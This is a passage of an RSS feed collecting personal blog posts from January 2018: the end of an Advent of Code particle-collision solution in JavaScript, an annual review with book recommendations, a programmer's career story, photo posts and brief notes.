          &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;null&lt;/span&gt;;
        }

        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!commonSolutions) {
            &lt;span class="hljs-comment"&gt;// Initialise the set with solutions for the first axis.&lt;/span&gt;
            commonSolutions = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;(axisSolutions);
        } &lt;span class="hljs-keyword"&gt;else&lt;/span&gt; {
            &lt;span class="hljs-comment"&gt;// Remove solutions for other axes which this axis does&amp;#x27;t have.&lt;/span&gt;
            &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; solution &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; commonSolutions) {
                &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!axisSolutions.&lt;span class="hljs-title function_"&gt;includes&lt;/span&gt;(solution)) {
                    commonSolutions.&lt;span class="hljs-title function_"&gt;delete&lt;/span&gt;(solution);
                }
            }
        }

        &lt;span class="hljs-comment"&gt;// If the set of common solutions is ever empty, there will be no&lt;/span&gt;
        &lt;span class="hljs-comment"&gt;// collision.&lt;/span&gt;
        &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (commonSolutions.&lt;span class="hljs-property"&gt;size&lt;/span&gt; === &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
            &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;null&lt;/span&gt;;
        }
    }

    &lt;span class="hljs-comment"&gt;// I only want the earliest collision.&lt;/span&gt;
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Math&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;min&lt;/span&gt;(...commonSolutions);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function first calculates solutions for the x-axis. Solutions which are not
in common with both the y-axis and z-axis are subsequently removed. If the set
of common solutions is ever empty, the function returns &lt;code&gt;null&lt;/code&gt;. If any axis has
no solutions I can take a shortcut and immediately return &lt;code&gt;null&lt;/code&gt;. If the set has
remaining entries, these represent times when the particles will occupy the same
coordinates in all three dimensions (a collision). The lowest (earliest) is
plucked out as the solution!&lt;/p&gt;
&lt;p&gt;On my machine, the naïve implementation takes ~3.2 seconds with the input I'm
given. With the improved implementation, it takes less than 0.1 seconds. The
full solution can be found &lt;a href="https://gist.github.com/qubyte/d43432e0e1716bc5efca4426ee762071"&gt;in this gist&lt;/a&gt;.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Tue, 02 Jan 2018 22:50:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/advent-of-code-2017-day-20-task-2</guid></item><item><title>Removing Disqus</title><link>https://blog.harterrt.com/disqus.html</link><description>&lt;p&gt;I'm removing Disqus from this blog.
Disqus allowed readers to post comments on articles.
I added it because it was easy to do,
but I no longer think it's worth keeping.&lt;/p&gt;
&lt;p&gt;If you'd like to share your thoughts,
feel free to shoot me an email at &lt;code&gt;harterrt&lt;/code&gt; on gmail.
I …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Tue, 02 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/disqus.html</guid></item><item><title>Productivity Systems for Stress Management</title><link>https://blog.harterrt.com/productivity_systems.html</link><description>&lt;p&gt;Over the years, I've developed a pretty involved productivity system.
It was originally based on &lt;a href="https://www.amazon.com/Getting-Things-Done-Stress-Free-Productivity/"&gt;Getting Things Done&lt;/a&gt;,
but now it's grown to include the good bits from other systems.
It's involved, but I love it.&lt;/p&gt;
&lt;p&gt;I get a lot of comments,
especially on the little black book I keep …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Tue, 02 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/productivity_systems.html</guid></item><item><title>Back to the Midwest</title><link>https://faingezicht.com/photos/2018/01/02/midwest/</link><description>We spent the holiday break with Hannah's family in Indianapolis and Chicago, and got to see a bunch of friends while we were there, too. As expected, it was cold, and it was fun.</description><author>Avy Faingezicht</author><pubDate>Tue, 02 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/01/02/midwest/</guid></item><item><title>2017 In Review &amp;amp; Thoughts on 2018</title><link>https://josh.works/2017-review</link><description>&lt;p&gt;Note: this “annual review” covers three topics. Click on one to skip to it:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href="/2017-review#themes-from-2017"&gt;Looking back on 2017&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/2017-review#2018"&gt;thoughts on going into 2018&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/2017-review#reading"&gt;book recommendations from the 79 books I read last year&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;I’ve got mixed feelings on annual reviews. I steadfastly refuse to set New Years’ resolutions, and am even shying away from the whole idea of goals.&lt;/p&gt;

&lt;p&gt;(“not being goal oriented” is a big idea to unpack, and I’ll do so eventually. I’ve historically been &lt;em&gt;extremely&lt;/em&gt; goal oriented, but I’m changing my tune on how healthy &lt;em&gt;for me&lt;/em&gt; this is.)&lt;/p&gt;

&lt;p&gt;However, I find review, reflection, and planning to be valuable. Here we are.&lt;/p&gt;

&lt;p&gt;Step 1 of “doing an annual review” is take a look at what I’ve written in past annual reviews.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2016 review: &lt;a href="/2016-most-dangerous-books"&gt;2016 - Biggest Lesson, Most Dangerous Books&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;2015 review: &lt;a href="/2015_the_year_i_didnt_think_much"&gt;2015: The year I didn’t think much?&lt;/a&gt; (bonus screenshot of an earlier iteration of this website)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I started this whole thing in 2012, but didn’t do any sort of review for 2012, 2013, or 2014. Writing that sentence confirms the value of this review - I wish I &lt;em&gt;had&lt;/em&gt; done a review those years, if for no other reason than to remind future Josh what the heck was going on in his life then.&lt;/p&gt;

&lt;p&gt;Further validation of this sentiment comes from &lt;a href="https://twitter.com/patio11"&gt;Patrick McKenzie&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote class="twitter-tweet"&gt;&lt;p dir="ltr" lang="en"&gt;If you've got two hours to kill the next few days write up &amp;quot;What I learned in 2017 doing X&amp;quot; and put it somewhere where people can read it. (Ideally publicly, but I understand that doesn't work for everyone / every job / etc.)&lt;br /&gt;&lt;br /&gt;If you only have ~10 minutes, tweet it.&lt;/p&gt;&amp;mdash; Patrick McKenzie (@patio11) &lt;a href="https://twitter.com/patio11/status/946910434887471104?ref_src=twsrc%5Etfw"&gt;December 30, 2017&lt;/a&gt;&lt;/blockquote&gt;


&lt;p&gt;Patrick McKenzie makes generally great recommendations. His recommendation pushed me over the edge.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h1 id="themes-from-2017"&gt;Themes from 2017&lt;/h1&gt;

&lt;p&gt;Step two is “reflect on the last year”.&lt;/p&gt;

&lt;h4 id="tactical-silence"&gt;Tactical Silence&lt;/h4&gt;

&lt;p&gt;Late in 2016, I embraced the concept of &lt;a href="https://josh.works/2016-most-dangerous-books#tactical-silence"&gt;tactical silence&lt;/a&gt;. I’m glad I did, and I’ll continue. Speak less, listen more.&lt;/p&gt;

&lt;h4 id="social-media"&gt;Social Media&lt;/h4&gt;

&lt;p&gt;Late 2016, I &lt;a href="https://josh.works/i-quit"&gt;stepped off social media&lt;/a&gt; for quite a few months. Late 2017 I jumped back on to Twitter, and made very light use of Instagram. (I still don’t have Facebook).&lt;/p&gt;

&lt;p&gt;I preferred being off social media than on it, and I’m not sure I trust myself to moderate my usage. I might just shut the whole thing down again.&lt;/p&gt;

&lt;h4 id="turing"&gt;Turing&lt;/h4&gt;

&lt;p&gt;I &lt;a href="https://josh.works/turing-retrospective"&gt;started (and finished) Turing last year&lt;/a&gt;. It was a fantastic experience, and a total success. I gained friends and a new network, and achieved a long-term goal of beginning a career in software development.&lt;/p&gt;

&lt;h4 id="wombat"&gt;Wombat&lt;/h4&gt;

&lt;p&gt;After Turing, I was thrilled to join a small dev team inside a larger dev team at Wombat Security. Our team oversees maintenance and development of one of the key pieces of the platform, and I’m &lt;em&gt;thrilled&lt;/em&gt; to have joined.&lt;/p&gt;

&lt;p&gt;I’m back to 100% remote work, and loving it. After commuting an hour each way in and out of Denver, every day for seven months, I was ready to stop.&lt;/p&gt;

&lt;p&gt;I’ve got tons of thoughts on being a junior developer, career development, skills acquisition, maintaining cohesion on a remote team, and much more, but… another time.&lt;/p&gt;

&lt;h4 id="climbing"&gt;Climbing&lt;/h4&gt;

&lt;p&gt;I finally put down a 5.13 this year. &lt;em&gt;A&lt;/em&gt; 5.13. (Well, it depends on the guidebook. By the book, I did three, but I think two of them were not 13s). Once I’ve done a dozen or so, I’ll consider myself to have broken into the grade.&lt;/p&gt;

&lt;p&gt;I’d much prefer to break into the European 8a grade, which is 5.13b in the US. It’s generally considered to be “hard” climbing, no matter how you cut it.&lt;/p&gt;

&lt;p&gt;So, my sport climbing didn’t see much improvement; Turing interfered with my climbing a bit, but mostly I’m not sure how to improve as a climber. I’ll expand on that another time as well.&lt;/p&gt;

&lt;p&gt;I saw unexpected gains or improvement in my &lt;a href="https://en.wikipedia.org/wiki/Traditional_climbing"&gt;trad climbing&lt;/a&gt;. I’ve not trad climbed in years, and went on a trip to the Gunks. Christian Haudenschild, who kindly was my climbing partner in three states over six weeks, encouraged me to get on things that would have caused me &lt;s&gt;to wet myself in fear&lt;/s&gt; some anxiety last time I was at the gunks.&lt;/p&gt;

&lt;p&gt;We walked away ticking a bunch of the classic 5.11s, and I comfortably led routes far harder than I thought I could do. It was a delight.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id="2018"&gt;2018&lt;/h1&gt;

&lt;p&gt;Step three of an annual review is “look forward into the coming year”.&lt;/p&gt;

&lt;p&gt;I don’t do goals, but I do aim to cultivate good habits. If I’m not satisfied with my outcomes, I’ll examine my habits.&lt;/p&gt;

&lt;p&gt;I also tend to “plan” about three months at a time. I’m not good at predicting the future, and value flexibility and improvisation way more than sticking to anything strict.&lt;/p&gt;

&lt;p&gt;That all said, there’s a few themes that are rolling around my head, that I look forward to seeing how they’ll develop over the coming years.&lt;/p&gt;

&lt;h2 id="software-development"&gt;Software development&lt;/h2&gt;

&lt;p&gt;I’m about six weeks into my first dev job, so much of my goals and thinking over the next six months will be focused on getting up to speed there, and picking the right skills to study on the side.&lt;/p&gt;

&lt;h2 id="community"&gt;Community&lt;/h2&gt;

&lt;p&gt;As I’ve tried to trim down my involvement in online communities and social media, I’m trying to increase my involvement in real life communities, my family, IRL friends, etc.&lt;/p&gt;

&lt;p&gt;Books and conversations are driving this thinking. But Kristi and I have had dear friends die recently. Watching this happen has helped clarify priorities, and I want to invite into my own life a more constant awareness of my own death.&lt;/p&gt;

&lt;p&gt;When thinking on my death, the things that float to the top of my list of concerns and priorities are family, friends, and my relationship with Christ. All else melts away.&lt;/p&gt;

&lt;p&gt;I’ve got lots of thoughts on this domain floating around as well, and will address that later.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id="reading"&gt;Reading&lt;/h1&gt;

&lt;p&gt;Step four of doing (this) annual review is “write about books”.&lt;/p&gt;

&lt;p&gt;I read a lot last year. (79 books!)&lt;/p&gt;

&lt;p&gt;17 of them were fiction, 62 were non-fiction. I’ve got a longer post on books coming soon, but until then, here’s a smattering of what I’d say were the best/most influential books I read in 2017:&lt;/p&gt;

&lt;h3 id="12-ways-your-phone-is-changing-you"&gt;&lt;a href="https://www.amazon.com/Ways-Your-Phone-Changing-You/dp/1433552434/ref=sr_1_1?ie=UTF8&amp;amp;qid=1514828820&amp;amp;sr=8-1&amp;amp;keywords=12+ways+your+phone+is+changing+you"&gt;12 Ways Your Phone Is Changing You&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;I read this one just a few days ago, but it was fantastic. It’s like &lt;em&gt;Deep Work&lt;/em&gt;, except the goal is satisfaction in Christ. &lt;em&gt;Deep Work&lt;/em&gt; resonated with me, and prompted a lot of change in my life.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;12 Ways Your Phone Is Changing You&lt;/em&gt; goes in the same bucket. I’m still working out the implications, and will write more on it soon.&lt;/p&gt;

&lt;h3 id="seeing-like-a-state"&gt;&lt;a href="https://www.amazon.com/Seeing-like-State-Certain-Condition/dp/0300078153/ref=sr_1_1?ie=UTF8&amp;amp;qid=1514829056&amp;amp;sr=8-1&amp;amp;keywords=seeing+like+a+state"&gt;Seeing like a State&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;I cannot do justice to this book, so I’ll quote extensively from  &lt;a href="http://slatestarcodex.com/2017/03/16/book-review-seeing-like-a-state/"&gt;Slate Star Codex’s&lt;/a&gt; review. (You should really just read the review, then the book.)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Seeing Like A State&lt;/em&gt; is the book G.K. Chesterton would have written if he had gone into economic history instead of literature. Since he didn’t, James Scott had to write it a century later. The wait was worth it.&lt;/p&gt;

  &lt;p&gt;Scott starts with the story of “scientific forestry” in 18th century Prussia. Enlightenment rationalists noticed that peasants were just cutting down whatever trees happened to grow in the forests, like a chump. They came up with a better idea: clear all the forests and replace them by planting identical copies of Norway spruce (the highest-lumber-yield-per-unit-time tree) in an evenly-spaced rectangular grid. Then you could just walk in with an axe one day and chop down like a zillion trees an hour and have more timber than you could possibly ever want.&lt;/p&gt;

  &lt;p&gt;This went poorly. The impoverished ecosystem couldn’t support the game animals and medicinal herbs that sustained the surrounding peasant villages, and they suffered an economic collapse. The endless rows of identical trees were a perfect breeding ground for plant diseases and forest fires. And the complex ecological processes that sustained the soil stopped working, so after a generation the Norway spruces grew stunted and malnourished. Yet for some reason, everyone involved got promoted, and “scientific forestry” spread across Europe and the world.&lt;/p&gt;

  &lt;p&gt;And this pattern repeats with suspicious regularity across history, not just in biological systems but also in social ones.&lt;/p&gt;

  &lt;p&gt;[…]&lt;/p&gt;

  &lt;p&gt;Suppose you’re a premodern king, maybe one of the Louises who ruled France in the Middle Ages. You want to tax people to raise money for a Crusade or something. Practically everyone in your kingdom is a peasant, and all the peasants produce is grain, so you’ll tax them in grain. Shouldn’t be too hard, right? You’ll just measure how many pints of grain everyone produces, and…&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;The pint in eighteenth-century Paris was equivalent to 0.93 liters, whereas in Seine-en-Montane it was 1.99 liters and in Precy-sous-Thil, an astounding 3.33 liters. The aune, a measure of length used for cloth, varied depending on the material(the unit for silk, for instance, was smaller than that for linen) and across France there were at least seventeen different aunes.&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;Okay, this is stupid. Just give everybody evenly-sized baskets, and tell them that baskets are the new unit of measurement.&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;Virtually everywhere in early modern Europe were endless micropolitics about how baskets might be adjusted through wear, bulging, tricks of weaving, moisture, the thickness of the rim, and so on. In some areas the local standards for the bushel and other units of measurement were kept in metallic form and placed in the care of a trusted official or else literally carved into the stone of a church or the town hall. Nor did it end there. How the grain was to be poured (from shoulder height, which packed it somewhat, or from waist height?), how damp it could be, whether the container could be shaken down, and finally, if and how it was to be leveled off when full were subjects of long and bitter controversy.&lt;/p&gt;
  &lt;/blockquote&gt;

  &lt;p&gt;Huh, this medieval king business is harder than you thought. Maybe you can just leave this problem to the feudal lords?&lt;/p&gt;

  &lt;blockquote&gt;
    &lt;p&gt;Thus far, this account of local measurement practices risks giving the impression that, although local conceptions of distance, area, volume, and so on were different from and more varied than the unitary abstract standards a state might favor, they were nevertheless aiming at objective accuracy. This impression would be false. […]&lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="http://slatestarcodex.com/2017/03/16/book-review-seeing-like-a-state/"&gt;Just read the review&lt;/a&gt;&lt;/p&gt;

&lt;h3 id="the-problem-of-political-authority"&gt;&lt;a href="https://www.goodreads.com/book/show/15794037-the-problem-of-political-authority"&gt;The Problem of Political Authority&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;I cannot over-rate this book. It’s the best book I’ve read in the last two years, and the implications of reading this book will be with me for the rest of my life.&lt;/p&gt;

&lt;p&gt;As a primer - do you think the “social contract” is a valid entity? If so - read the book. This is also the book that dragged me, kicking and screaming, into a political philosophy of “voluntarism”, or “non-coercion”. (That sounds nicer than anarchism, right?)&lt;/p&gt;

&lt;p&gt;I leave it &lt;a href="https://www.amazon.com/review/RDM1A17DXD0P5/ref=cm_cr_srp_d_rdp_perm?ie=UTF8&amp;amp;ASIN=1137281650"&gt;to others&lt;/a&gt; to summarize for me.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Finally something that deals with the major thorny issues of political authority, particularly the social contract. The book is incredibly well balanced and deals honestly and directly with opposing theories.&lt;/p&gt;

  &lt;p&gt;It also doesn’t pre-suppose some grand theory that anarchists and libertarians usually assert (as you’d guess by the author of Ethical Intuitionism).&lt;/p&gt;

  &lt;p&gt;For people already “sold” on anarcho-capitalism, the second half of the book (which proposes an alternative solution) is very cursory, but at the same time, the approach from the beginning of the book – of using common sense examples and intuitions to reason about moral and probable solutions and outcomes – is very enlightening.&lt;/p&gt;

  &lt;p&gt;Overall, this is a great book for on-the-fence libertarians, it’s also a great book for non-libertarians since it is so balanced (in considering opposing views), and even for anarcho-capitalists for dealing with major philosophical issues without simple flippant assumptions or remarks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id="eating-animals"&gt;&lt;a href="https://www.goodreads.com/book/show/6604712-eating-animals"&gt;Eating Animals&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;This was not a particularly well-written book, nor did I identify with many of the arguments the author made, but the end result was simple. Kristi and I are skewing hard into the world of vegetarianism.&lt;/p&gt;

&lt;p&gt;I went from eating meat in 100% of my meals to now less than 10%. I’d like to get that number closer to 1%, and will, with time.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;That’s it for the annual review. I’ve got a lot rolling around my head that I look forward to digging into here soon.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 01 Jan 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2017-review</guid></item><item><title>Tahoe, minus the skiing</title><link>https://faingezicht.com/photos/2018/01/01/tahoe/</link><description>For months, Emily had been trying to make this trip happen. Lucky for us, she succeeded.

We had a great crew: Emily, Dakota, Casey, Dan, Zach, Hannah, and me. Somehow Casey and Dan ended up without making it into any of my photos.</description><author>Avy Faingezicht</author><pubDate>Mon, 01 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/01/01/tahoe/</guid></item><item><title>My programming story</title><link>https://muffinman.io/blog/my-programming-story/</link><description>&lt;article class="article"&gt;&lt;p&gt;This was intended to be a single paragraph in the post I&amp;#x27;m still writing. It ended up much longer so I decided to publish it on it&amp;#x27;s own. So without further due, I present you &lt;em&gt;my programming story&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="origins"&gt;Origins &lt;a class="anchor-link" href="#origins"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I got my first pc when I was four, shiny 286 with a color monitor! My father (who knows nothing about programming) showed me BASIC and infamous GOTO. My first programs did nothing more than printing simple messages or adding numbers up. It was fun but playing games was even more fun.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Commander Keen" height="444" src="./keen.png" width="710" /&gt;&lt;/figure&gt;
&lt;p&gt;Following years I spent playing games, but at some point I started thinking about making one. It is the main reason why I ended up programming and still is. Few games were made, but nothing worth mentioning (I still have unfulfilled wish to make retro like games, but utilizing modern hardware to give &amp;#x27;em a twist).&lt;/p&gt;
&lt;p&gt;Then dialup came along and I got interested in websites. First one I made was dedicated to Pink Floyd and published on geocities. As I always had an artsy side, web seemed like a brilliant platform. Perfect combination of tech, design and interactivity. Today, I&amp;#x27;m still doing web apps, although I had no such plans at the time.&lt;/p&gt;
&lt;h2 id="university"&gt;University &lt;a class="anchor-link" href="#university"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span class="sidenote__text" tabindex="0"&gt;University&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Fun fact, university's building is shaped as word &lt;em&gt;NO&lt;/em&gt; which represents
&lt;a href="https://en.wikipedia.org/wiki/Tito–Stalin_Split"&gt;Tito's no to Stalin&lt;/a&gt;.
In Serbian &lt;em&gt;NO&lt;/em&gt; written in Cyrillic is &lt;em&gt;НЕ&lt;/em&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; snuck onto me. Oh boy, I was looking forward to learning all the engineering stuff. But my university experience was quite underwhelming. Outdated curriculum, indifferent professors and students. (To be fair some professors were awesome and I learned a lot from them, Predrag Janičić and Milan Tuba to name my favorite ones.)&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="My university&amp;#x27;s building" height="1164" src="./matf.jpg" width="1844" /&gt;&lt;/figure&gt;
&lt;p&gt;I left studies with only few exams left, but I would never be at the place I&amp;#x27;m today, if I hadn&amp;#x27;t gone to the university. Mostly because of the few professors who had given their best and couple of colleagues who became long life friends. One of them introduced me to Linux.&lt;/p&gt;
&lt;p&gt;Linux got me hooked, and I spend a lot of time exploring distributions, compiling drivers (fglrx anyone?) and kernels. That&amp;#x27;s when my first open source projects started (only one still alive is &lt;a href="https://github.com/Stanko/ThinkPad-Fan-Control"&gt;ThinkPad fan control&lt;/a&gt;). I never switched back to Windows.&lt;/p&gt;
&lt;h2 id="career"&gt;Career &lt;a class="anchor-link" href="#career"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started working full time rather early, and changed a lot of positions in first four or five years. Started as a PHP developer, but having an eye for design I almost instantly ended doing frontend. Frontend back then was a lot of PHP with a tiny bit of JavaScript to make things interactive. And IE6, god damn... I still know bunch of CSS hacks for IE6.&lt;/p&gt;
&lt;p&gt;Thought of going back to finish my studies always lurked in the back of my brain. When I finally decided I&amp;#x27;m not going to do it, it was very liberating (not saying you shouldn&amp;#x27;t study, it just wasn&amp;#x27;t the best thing for me at this point).&lt;/p&gt;
&lt;p&gt;As mentioned above, I did change quite a few companies. I was in my twenties and I was searching for great place to work at and create. Demand for programmers was high (and still is) and that gave me an option to leave companies I wasn&amp;#x27;t completely satisfied with. I was even a part of a small startup that failed, but taught me a couple of valuable lessons.&lt;/p&gt;
&lt;p&gt;Between the jobs I freelanced and had few running open source projects. I&amp;#x27;ve tried to start a blog couple of times, but never pushed through. Freelancing is a first step to creating your company. So it was, friend of mine and me started Null Object, small company focused on frontend services. That&amp;#x27;s where I found my great place to work at. Our big goal was to create positive atmosphere in the office where people actually like coming to work. Later on we became part of Work &amp;amp; Co, where I&amp;#x27;m still working, crafting some of the best frontend apps.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="My business card" height="900" src="./card.jpg" width="1200" /&gt;&lt;/figure&gt;
&lt;h2 id="to-infinity-and-beyond"&gt;To infinity and beyond! &lt;a class="anchor-link" href="#to-infinity-and-beyond"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Feeling of creation is what keeps me programming, in both work and free time. Crafts are one of my other hobbies, so making stuff is really my thing. Programming is a bit different from crafting - we are basically creating things out of thin air. Plus progress and outcome of our work are instantly visible. If you ask me, it borderlines with magic.&lt;/p&gt;
&lt;p&gt;So keep creating, I know I will!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 01 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/my-programming-story/</guid></item><item><title>Consume less, create more</title><link>https://muffinman.io/blog/consume-less-create-more/</link><description>&lt;article class="article"&gt;&lt;p&gt;That&amp;#x27;s my new year&amp;#x27;s resolution. Code, write, play and craft more!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 01 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/consume-less-create-more/</guid></item><item><title>Hello, world!</title><link>https://www.da.vidbuchanan.co.uk/blog/hello-world.html</link><author>David Buchanan's Blog</author><pubDate>Mon, 01 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.da.vidbuchanan.co.uk/blog/hello-world.html</guid></item></channel></rss>